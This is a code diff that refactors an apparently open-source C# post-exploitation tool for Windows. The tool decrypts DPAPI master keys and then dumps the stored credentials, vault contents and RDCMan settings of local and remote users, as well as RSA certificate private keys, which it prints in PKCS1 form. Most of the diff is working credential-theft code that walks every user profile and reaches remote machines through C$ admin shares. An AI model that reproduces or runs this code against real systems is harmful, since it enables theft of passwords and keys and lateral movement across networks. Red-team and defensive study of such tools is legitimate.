if (Directory.Exists(String.Format("{0}\\User\\", directory))) + if (Directory.Exists($"{directory}\\User\\")) { - userFiles = Directory.GetFiles(String.Format("{0}\\User\\", directory)); + userFiles = Directory.GetFiles($"{directory}\\User\\"); } - foreach (string file in machineFiles) + foreach (var file in machineFiles) { - if (Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) //Changed regex to only match files starting with the id + if (!Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + var fileName = Path.GetFileName(file); + if (show) { - string fileName = System.IO.Path.GetFileName(file); - if (show) - { - Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", file); - } + Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", file); + } - byte[] masteyKeyBytes = File.ReadAllBytes(file); - try - { - // use the "machine" DPAPI key - Dictionary mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]); - mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); - } + var masteyKeyBytes = File.ReadAllBytes(file); + try + { + // use the "machine" DPAPI key + var plaintextMasterkey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]); + mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } - foreach (string file in userFiles) + foreach (var file in userFiles) { - if (Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + if (!Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + var fileName = Path.GetFileName(file); + if (show) { - string fileName = System.IO.Path.GetFileName(file); - if (show) - { - Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", file); - } + Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", file); + } - byte[] masteyKeyBytes = File.ReadAllBytes(file); - try - { - // use the "user" DPAPI key - Dictionary mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]); - mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); - } + var masteyKeyBytes = File.ReadAllBytes(file); + try + { + // use the "user" DPAPI key + var plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } @@ -229,7 +220,7 @@ public static void TriageUserCreds(Dictionary MasterKeys, string if (!String.IsNullOrEmpty(computerName)) { // if we're triaging a remote computer, check connectivity first - bool canAccess = Helpers.TestRemote(computerName); + var canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return; @@ -240,28 +231,30 @@ public static void TriageUserCreds(Dictionary MasterKeys, string { Console.WriteLine("[*] Triaging Credentials for ALL users\r\n"); - string userFolder = ""; - if (!String.IsNullOrEmpty(computerName)) - { - userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); - } - else - { - userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); - } + var userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - string[] dirs = Directory.GetDirectories(userFolder); + var dirs = Directory.GetDirectories(userFolder); - foreach (string dir in dirs) + foreach (var dir in dirs) { - string[] parts = dir.Split('\\'); - string userName = parts[parts.Length - 1]; - if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var credentialFilePaths = new string[] + { + $"{dir}\\AppData\\Local\\Microsoft\\Credentials\\", + $"{dir}\\AppData\\Roaming\\Microsoft\\Credentials\\" + }; + + foreach (var path in credentialFilePaths) { - string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir); - TriageCredFolder(userCredFilePath, MasterKeys); - string userCredFilePath2 = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir); - TriageCredFolder(userCredFilePath2, MasterKeys); + if(Directory.Exists(path)) + TriageCredFolder(path, MasterKeys); } } } @@ -269,10 +262,18 @@ public static void TriageUserCreds(Dictionary MasterKeys, string { // otherwise just triage the current user's credential folder Console.WriteLine("[*] Triaging Credentials for current user\r\n"); - string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); - TriageCredFolder(userCredFilePath, MasterKeys); - string userCredFilePath2 = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); - TriageCredFolder(userCredFilePath2, MasterKeys); + + var credentialFilePaths = new string[] + { + $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Microsoft\\Credentials\\", + $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Roaming\\Microsoft\\Credentials\\" + }; + + foreach (var path in credentialFilePaths) + { + if (Directory.Exists(path)) + TriageCredFolder(path, MasterKeys); + } } } @@ -283,7 +284,7 @@ public static void TriageUserVaults(Dictionary MasterKeys, strin if (!String.IsNullOrEmpty(computerName)) { // if we're triaging a remote computer, check connectivity first - bool canAccess = Helpers.TestRemote(computerName); + var canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return; @@ -294,42 +295,37 @@ public static void TriageUserVaults(Dictionary MasterKeys, strin { Console.WriteLine("[*] Triaging Vaults for ALL users\r\n"); - string userFolder = ""; - if (!String.IsNullOrEmpty(computerName)) - { - userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); - } - else - { - userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); - } + var userFolder = ""; + userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - string[] dirs = Directory.GetDirectories(userFolder); + var dirs = Directory.GetDirectories(userFolder); - foreach (string dir in dirs) + foreach (var dir in dirs) { - string[] parts = dir.Split('\\'); - string userName = parts[parts.Length - 1]; - if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + string[] folderLocations = { - string[] folderLocations = - { - String.Format("{0}\\AppData\\Local\\Microsoft\\Vault\\", dir), - String.Format("{0}\\AppData\\Roaming\\Microsoft\\Vault\\", dir) - }; + $"{dir}\\AppData\\Local\\Microsoft\\Vault\\", + $"{dir}\\AppData\\Roaming\\Microsoft\\Vault\\" + }; + + foreach (var location in folderLocations) + { + if (!Directory.Exists(location)) + continue; - foreach (string location in folderLocations) + var vaultDirs = Directory.GetDirectories(location); + foreach (var vaultDir in vaultDirs) { - if (Directory.Exists(location)) + if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { - string[] vaultDirs = Directory.GetDirectories(location); - foreach (string vaultDir in vaultDirs) - { - if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - { - TriageVaultFolder(vaultDir, MasterKeys); - } - } + TriageVaultFolder(vaultDir, MasterKeys); } } } @@ -339,26 +335,19 @@ public static void TriageUserVaults(Dictionary MasterKeys, strin { Console.WriteLine("[*] Triaging Vaults for the current user\r\n"); - string vaultPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Vault\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); - - if (Directory.Exists(vaultPath)) + var vaultPaths = new string[] { - string[] vaultDirs = Directory.GetDirectories(vaultPath); - foreach (string vaultDir in vaultDirs) - { - if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - { - TriageVaultFolder(vaultDir, MasterKeys); - } - } - } - - string vaultPath2 = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Vault\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Microsoft\\Vault\\", + $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Roaming\\Microsoft\\Vault\\" + }; - if (Directory.Exists(vaultPath2)) + foreach (var vaultPath in vaultPaths) { - string[] vaultDirs = Directory.GetDirectories(vaultPath2); - foreach (string vaultDir in vaultDirs) + if (!Directory.Exists(vaultPath)) + continue; + + var vaultDirs = Directory.GetDirectories(vaultPath); + foreach (var vaultDir in vaultDirs) { if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { @@ -380,16 +369,19 @@ public static void TriageSystemCreds(Dictionary MasterKeys) // all the SYSTEM Credential file locations string[] folderLocations = { - String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")) + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Credentials", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Credentials", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials" }; - foreach (string location in folderLocations) + foreach (var location in folderLocations) { + if (!Directory.Exists(location)) + continue; + TriageCredFolder(location, MasterKeys); } } @@ -409,25 +401,25 @@ public static void TriageSystemVaults(Dictionary MasterKeys) string[] folderLocations = { - String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")), - String.Format("{0}\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Vault", Environment.GetEnvironmentVariable("SystemRoot")) + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Vault", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Vault", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Vault", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Vault", + $"{Environment.GetEnvironmentVariable("SystemRoot")}\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Vault" }; - foreach (string location in folderLocations) + foreach (var location in folderLocations) { - if (Directory.Exists(location)) + if (!Directory.Exists(location)) + continue; + + var vaultDirs = Directory.GetDirectories(location); + foreach (var vaultDir in vaultDirs) { - string[] vaultDirs = Directory.GetDirectories(location); - foreach (string vaultDir in vaultDirs) + if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { - if (Regex.IsMatch(vaultDir, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - { - TriageVaultFolder(vaultDir, MasterKeys); - } + TriageVaultFolder(vaultDir, MasterKeys); } } } @@ -443,42 +435,40 @@ public static void TriageVaultFolder(string folder, Dictionary M // takes a Vault folder, extracts the AES 128/256 keys from Policy.vpol, and uses these // to decrypt any .vcrd vault credentials - string policyFilePath = String.Format("{0}\\Policy.vpol", folder); - if (File.Exists(policyFilePath)) - { - Console.WriteLine("\r\n[*] Triaging Vault folder: {0}", folder); + var policyFilePath = $"{folder}\\Policy.vpol"; + if (!File.Exists(policyFilePath)) + return; + Console.WriteLine("\r\n[*] Triaging Vault folder: {0}", folder); - byte[] policyBytes = File.ReadAllBytes(policyFilePath); + var policyBytes = File.ReadAllBytes(policyFilePath); - // first try to get vault keys from the Policy.vpol - ArrayList keys = Dpapi.DescribePolicy(policyBytes, MasterKeys); + // first try to get vault keys from the Policy.vpol + var keys = Dpapi.DescribePolicy(policyBytes, MasterKeys); - if (keys.Count > 0) - { - // make sure we have keys returned + // make sure we have keys returned + if (keys.Count <= 0) + return; - string[] vaultCredFiles = Directory.GetFiles(folder); - if ((vaultCredFiles != null) && (vaultCredFiles.Length != 0)) - { - foreach (string vaultCredFile in vaultCredFiles) - { - string fileName = System.IO.Path.GetFileName(vaultCredFile); - if (fileName.EndsWith("vcrd")) - { - byte[] vaultCredBytes = File.ReadAllBytes(vaultCredFile); - - try - { - // describe the vault credential file using the Policy credentials - Dpapi.DescribeVaultCred(vaultCredBytes, keys); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message); - } - } - } - } + var vaultCredFiles = Directory.GetFiles(folder); + if ((vaultCredFiles == null) || (vaultCredFiles.Length == 0)) + return; + + foreach (var vaultCredFile in vaultCredFiles) + { + var fileName = Path.GetFileName(vaultCredFile); + + if (!fileName.EndsWith("vcrd")) + continue; + + try + { + var vaultCredBytes = File.ReadAllBytes(vaultCredFile); + // describe the vault credential file using the Policy credentials + Dpapi.DescribeVaultCred(vaultCredBytes, keys); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message); } } } @@ -486,44 +476,30 @@ public static void TriageVaultFolder(string folder, Dictionary M public static void TriageCredFolder(string folder, Dictionary MasterKeys) { // triage a specific credential folder + var systemFiles = Directory.GetFiles(folder); + if (systemFiles.Length == 0) + return; + + Console.WriteLine("\r\nFolder : {0}\r\n", folder); - if (System.IO.Directory.Exists(folder)) + foreach (var file in systemFiles) { - string[] systemFiles = Directory.GetFiles(folder); - if ((systemFiles != null) && (systemFiles.Length != 0)) + try { - Console.WriteLine("\r\nFolder : {0}\r\n", folder); - - foreach (string file in systemFiles) - { - try - { - TriageCredFile(file, MasterKeys); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); - } - } + TriageCredFile(file, MasterKeys); } - else + catch (Exception e) { - // Console.WriteLine("\r\n[X] Folder '{0}' doesn't contain files!", folder); + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } - else - { - // Console.WriteLine("\r\n[X] Folder '{0}' doesn't currently exist!", folder); - } } public static void TriageCredFile(string credFilePath, Dictionary MasterKeys) { - // triage a specific credential file - - string fileName = System.IO.Path.GetFileName(credFilePath); + var fileName = Path.GetFileName(credFilePath); Console.WriteLine(" CredFile : {0}\r\n", fileName); - byte[] credentialArray = File.ReadAllBytes(credFilePath); + var credentialArray = File.ReadAllBytes(credFilePath); // describe and possibly parse the credential blob try @@ -542,11 +518,11 @@ public static void TriageCertFile(string certFilePath, Dictionary> certDictionary = new Dictionary>(); - string fileName = System.IO.Path.GetFileName(certFilePath); + var certDictionary = new Dictionary>(); + var fileName = Path.GetFileName(certFilePath); Console.WriteLine(" Certificate file : {0}\r\n", fileName); - byte[] certificateArray = File.ReadAllBytes(certFilePath); + var certificateArray = File.ReadAllBytes(certFilePath); try { certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys)); @@ -573,81 +549,75 @@ public static void TriageCertFile(string certFilePath, Dictionary MasterKeys, bool machine = false) { // triage a specific certificate folder - Dictionary> certDictionary = new Dictionary>(); - if (System.IO.Directory.Exists(folder)) + var certDictionary = new Dictionary>(); + if (!Directory.Exists(folder)) + return; + + var systemFiles = Directory.GetFiles(folder); + if ((systemFiles.Length != 0)) { - string[] systemFiles = Directory.GetFiles(folder); - if ((systemFiles != null) && (systemFiles.Length != 0)) - { - Console.WriteLine("\r\nFolder : {0}\r\n", folder); + Console.WriteLine("\r\nFolder : {0}\r\n", folder); - foreach (string file in systemFiles) + foreach (var file in systemFiles) + { + if (Regex.IsMatch(file, + @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") + ) { - if (Regex.IsMatch(file, - @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") - ) + var fileName = Path.GetFileName(file); + Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); + var certificateArray = File.ReadAllBytes(file); + try { - string fileName = System.IO.Path.GetFileName(file); - Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); - byte[] certificateArray = File.ReadAllBytes(file); - try - { - certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys,machine)); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); - } + certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys, machine)); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } } } - else - { - Console.WriteLine("\r\n[X] Folder '{0}' doesn't contain files!", folder); - } + } + else + { + Console.WriteLine("\r\n[X] Folder '{0}' doesn't contain files!", folder); + } - Console.WriteLine(); + Console.WriteLine(); - foreach (var key in certDictionary.Keys) + foreach (var key in certDictionary.Keys) + { + if (certDictionary[key].First != "") { - if (certDictionary[key].First != "") - { - Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); - Console.WriteLine("[*] PKCS1 Private key\r\n"); - Console.WriteLine(certDictionary[key].First); - Console.WriteLine("\r\n[*] Certificate\r\n"); - Console.WriteLine(certDictionary[key].Second); - Console.WriteLine(); - } + Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); + Console.WriteLine("[*] PKCS1 Private key\r\n"); + Console.WriteLine(certDictionary[key].First); + Console.WriteLine("\r\n[*] Certificate\r\n"); + Console.WriteLine(certDictionary[key].Second); + Console.WriteLine(); } } } public static void TriageSystemCerts(Dictionary MasterKeys) { + if (!Helpers.IsHighIntegrity()) + throw new Exception("Must be elevated to triage SYSTEM credentials!\r\n"); - if (Helpers.IsHighIntegrity()) - { - Console.WriteLine("\r\n[*] Triaging System Certificates\r\n"); + Console.WriteLine("\r\n[*] Triaging System Certificates\r\n"); - // all the SYSTEM Credential file locations - string[] folderLocations = - { - String.Format("{0}\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", Environment.GetEnvironmentVariable("SystemDrive")), - String.Format("{0}\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", Environment.GetEnvironmentVariable("SystemDrive")), - String.Format("{0}\\Users\\All Users\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys", Environment.GetEnvironmentVariable("SystemDrive")) - }; + // all the SYSTEM Credential file locations + string[] folderLocations = + { + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\All Users\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys" + }; - foreach (string location in folderLocations) - { - TriageCertFolder(location, MasterKeys,true); - } - } - else + foreach (var location in folderLocations) { - Console.WriteLine("\r\n[X] Must be elevated to triage SYSTEM credentials!\r\n"); + TriageCertFolder(location, MasterKeys, true); } - } public static void TriageUserCerts(Dictionary MasterKeys, string computerName = "") @@ -657,7 +627,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string if (!String.IsNullOrEmpty(computerName)) { // if we're triaging a remote computer, check connectivity first - bool canAccess = Helpers.TestRemote(computerName); + var canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return; @@ -667,78 +637,72 @@ public static void TriageUserCerts(Dictionary MasterKeys, string //TODO have not verified with multiple users if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && Helpers.TestRemote(computerName))) { - string userFolder = ""; + var userFolder = ""; - if (!String.IsNullOrEmpty(computerName)) - { - userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); - } - else - { - userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); - } + userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; userDirs = Directory.GetDirectories(userFolder); } else { // otherwise we're only triaging the current user's path - userDirs = new string[] { System.Environment.GetEnvironmentVariable("USERPROFILE") }; + userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; } - foreach (string dir in userDirs) + foreach (var dir in userDirs) { - string[] parts = dir.Split('\\'); - string userName = parts[parts.Length - 1]; - if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || - dir.EndsWith("All Users"))) + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userCertkeysBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\"; + + if (!Directory.Exists(userCertkeysBasePath)) + continue; + + var certDictionary = new Dictionary>(); + var directories = Directory.GetDirectories(userCertkeysBasePath); + + foreach (var directory in directories) { - string userCertkeysBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", dir); - - if (System.IO.Directory.Exists(userCertkeysBasePath)) + var files = Directory.GetFiles(directory); + + foreach (var file in files) { - Dictionary> certDictionary = new Dictionary>(); - string[] directories = Directory.GetDirectories(userCertkeysBasePath); - - foreach (string directory in directories) - { - string[] files = Directory.GetFiles(directory); - - foreach (string file in files) - { - if (Regex.IsMatch(file,@"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - { - string fileName = System.IO.Path.GetFileName(file); - Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); - byte[] certificateArray = File.ReadAllBytes(file); - try - { - certDictionary.Add(fileName,Dpapi.DescribeCertificate(certificateArray, MasterKeys)); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); - } - } - } - } - Console.WriteLine(); + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; - foreach (var key in certDictionary.Keys) + var fileName = Path.GetFileName(file); + Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); + var certificateArray = File.ReadAllBytes(file); + try { - if (certDictionary[key].First != "") - { - Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); - Console.WriteLine("[*] PKCS1 Private key\r\n"); - Console.WriteLine(certDictionary[key].First); - Console.WriteLine("\r\n[*] Certificate\r\n"); - Console.WriteLine(certDictionary[key].Second); - Console.WriteLine(); - } + certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys)); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } - Console.WriteLine("[*] Hint: openssl pkcs12 -export -inkey key.pem -in cert.cer -out cert.p12"); } } + Console.WriteLine(); + + foreach (var key in certDictionary.Keys) + { + if (certDictionary[key].First != "") + { + Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); + Console.WriteLine("[*] PKCS1 Private key\r\n"); + Console.WriteLine(certDictionary[key].First); + Console.WriteLine("\r\n[*] Certificate\r\n"); + Console.WriteLine(certDictionary[key].Second); + Console.WriteLine(); + } + } + Console.WriteLine("[*] Hint: openssl pkcs12 -export -inkey key.pem -in cert.cer -out cert.p12"); } } public static void TriageRDCMan(Dictionary MasterKeys, string computerName = "", bool unprotect = false) @@ -748,7 +712,7 @@ public static void TriageRDCMan(Dictionary MasterKeys, string co if (!String.IsNullOrEmpty(computerName)) { // if we're triaging a remote computer, check connectivity first - bool canAccess = Helpers.TestRemote(computerName); + var canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return; @@ -759,34 +723,31 @@ public static void TriageRDCMan(Dictionary MasterKeys, string co { Console.WriteLine("[*] Triaging RDCMan.settings Files for ALL users\r\n"); - string userFolder = ""; - if (!String.IsNullOrEmpty(computerName)) - { - userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); - } - else - { - userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); - } + var userFolder = ""; + userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - string[] dirs = Directory.GetDirectories(userFolder); + var dirs = Directory.GetDirectories(userFolder); - foreach (string dir in dirs) + foreach (var dir in dirs) { - string[] parts = dir.Split('\\'); - string userName = parts[parts.Length - 1]; - if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) - { - string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir); - TriageRDCManFile(MasterKeys, userRDManFile, unprotect); - } + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userRDManFile = $"{dir}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings"; + TriageRDCManFile(MasterKeys, userRDManFile, unprotect); } } else { Console.WriteLine("[*] Triaging RDCMan Settings Files for current user\r\n"); - string userName = Environment.GetEnvironmentVariable("USERNAME"); - string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var userName = Environment.GetEnvironmentVariable("USERNAME"); + var userRDManFile = + $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings"; TriageRDCManFile(MasterKeys, userRDManFile, unprotect); } } @@ -796,153 +757,146 @@ public static void TriagePSCredFile(Dictionary MasterKeys, 